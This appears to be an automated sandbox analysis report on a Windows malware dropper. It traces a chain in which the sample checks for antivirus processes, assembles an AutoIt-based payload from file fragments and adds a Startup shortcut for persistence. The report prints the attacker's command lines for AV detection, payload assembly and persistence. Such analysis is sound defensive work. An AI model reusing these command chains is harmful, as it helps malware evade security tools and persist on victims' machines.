Source: cW5i0RdQ4L.exe, 00000000.00000003.1715750993.000000000298E000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000A.00000003.1761392770.0000000004673000.00000004.00000800.00020000.00000000.sdmp, Powder.pif, 0000000A.00000002.3571739331.0000000001B60000.00000004.00000020.00020000.00000000.sdmp, GuardianCryptoElite.scr.10.dr, Powder.pif.1.dr, Serious.0.dr	String found in binary or memory: https://www.globalsign.com/repository/06

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 104.21.76.57:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.76.57:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E74830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		10_2_00E74830
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00954830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		16_2_00954830

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E74632 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

10_2_00E74632

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E8D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		10_2_00E8D164
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0096D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		16_2_0096D164

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E642D5: CreateFileW,DeviceIoControl,CloseHandle,

10_2_00E642D5

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E58F2E _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

10_2_00E58F2E

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,	0_2_00403883
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E65778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	10_2_00E65778
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00945778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	16_2_00945778

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_004074BB	0_2_004074BB
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E0B020	10_2_00E0B020
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E094E0	10_2_00E094E0
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E09C80	10_2_00E09C80
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E223F5	10_2_00E223F5
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E88400	10_2_00E88400
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E36502	10_2_00E36502
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E0E6F0	10_2_00E0E6F0
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E3265E	10_2_00E3265E
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E2282A	10_2_00E2282A
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E389BF	10_2_00E389BF
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E36A74	10_2_00E36A74
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E80A3A	10_2_00E80A3A
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E10BE0	10_2_00E10BE0
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E5EDB2	10_2_00E5EDB2
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E2CD51	10_2_00E2CD51
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E80EB7	10_2_00E80EB7
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E68E44	10_2_00E68E44
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E36FE6	10_2_00E36FE6
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E233B7	10_2_00E233B7
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E1D45D	10_2_00E1D45D
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E2F409	10_2_00E2F409
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E0F6A0	10_2_00E0F6A0
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E216B4	10_2_00E216B4
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E01663	10_2_00E01663
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E1F628	10_2_00E1F628
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E278C3	10_2_00E278C3
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E2DBA5	10_2_00E2DBA5
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E21BA8	10_2_00E21BA8
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E39CE5	10_2_00E39CE5
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E1DD28	10_2_00E1DD28
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E21FC0	10_2_00E21FC0
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E2BFD6	10_2_00E2BFD6
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_008EB020	16_2_008EB020
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_008E94E0	16_2_008E94E0
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_008E9C80	16_2_008E9C80
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_009023F5	16_2_009023F5
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00968400	16_2_00968400
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00916502	16_2_00916502
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_008EE6F0	16_2_008EE6F0
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0091265E	16_2_0091265E
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0090282A	16_2_0090282A
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_009189BF	16_2_009189BF
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00960A3A	16_2_00960A3A
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00916A74	16_2_00916A74
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_008F0BE0	16_2_008F0BE0
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0093EDB2	16_2_0093EDB2
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0090CD51	16_2_0090CD51
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00960EB7	16_2_00960EB7
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00948E44	16_2_00948E44
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00916FE6	16_2_00916FE6
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_009033B7	16_2_009033B7
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0090F409	16_2_0090F409
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_008FD45D	16_2_008FD45D
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_009016B4	16_2_009016B4
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_008EF6A0	16_2_008EF6A0
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_008FF628	16_2_008FF628
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_008E1663	16_2_008E1663
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_009078C3	16_2_009078C3
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0090DBA5	16_2_0090DBA5
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00901BA8	16_2_00901BA8
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00919CE5	16_2_00919CE5
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_008FDD28	16_2_008FDD28
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0090BFD6	16_2_0090BFD6
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00901FC0	16_2_00901FC0

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD

Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: String function: 00908B30 appears 42 times
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: String function: 008F1A36 appears 34 times
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: String function: 00900D17 appears 70 times
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: String function: 004062A3 appears 57 times
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: String function: 00E28B30 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: String function: 00E20D17 appears 70 times
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: String function: 00E11A36 appears 34 times

Source: cW5i0RdQ4L.exe

Static PE information: invalid certificate

Source: cW5i0RdQ4L.exe, 00000000.00000003.1718798181.0000000000644000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs cW5i0RdQ4L.exe
Source: cW5i0RdQ4L.exe, 00000000.00000003.1715750993.000000000298E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAutoIt3.exeB vs cW5i0RdQ4L.exe
Source: cW5i0RdQ4L.exe, 00000000.00000002.1719275870.0000000000644000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs cW5i0RdQ4L.exe

Source: cW5i0RdQ4L.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: cW5i0RdQ4L.exe

Static PE information: Section: .reloc ZLIB complexity 1.002685546875

Source: classification engine

Classification label: mal96.expl.evad.winEXE@28/18@3/1

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E6A6AD GetLastError,FormatMessageW,

10_2_00E6A6AD

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E58DE9 AdjustTokenPrivileges,CloseHandle,	10_2_00E58DE9
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E59399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	10_2_00E59399
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00938DE9 AdjustTokenPrivileges,CloseHandle,	16_2_00938DE9
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00939399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	16_2_00939399

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E64148 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

10_2_00E64148

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E6443D __swprintf,__swprintf,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

10_2_00E6443D

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

File created: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4248:120:WilError_03

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

File created: C:\Users\user\AppData\Local\Temp\nsk814.tmp

Jump to behavior

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Centres Centres.bat & Centres.bat

Source: cW5i0RdQ4L.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: cW5i0RdQ4L.exe

Virustotal: Detection: 13%

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

File read: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\cW5i0RdQ4L.exe "C:\Users\user\Desktop\cW5i0RdQ4L.exe"
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Centres Centres.bat & Centres.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 103495
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "aroundaccommodategroupseverything" Fine
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Correct + ..\Transparent + ..\Barbie + ..\Gloves + ..\Latin + ..\Story + ..\Ski + ..\Appraisal n
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\103495\Powder.pif Powder.pif n
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url" & echo URL="C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js"
Source: C:\Windows\SysWOW64\findstr.exe	Process created: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\O"
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Centres Centres.bat & Centres.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 103495	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "aroundaccommodategroupseverything" Fine	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Correct + ..\Transparent + ..\Barbie + ..\Gloves + ..\Latin + ..\Story + ..\Ski + ..\Appraisal n	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\103495\Powder.pif Powder.pif n	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url" & echo URL="C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url" & exit	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\O"	Jump to behavior

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
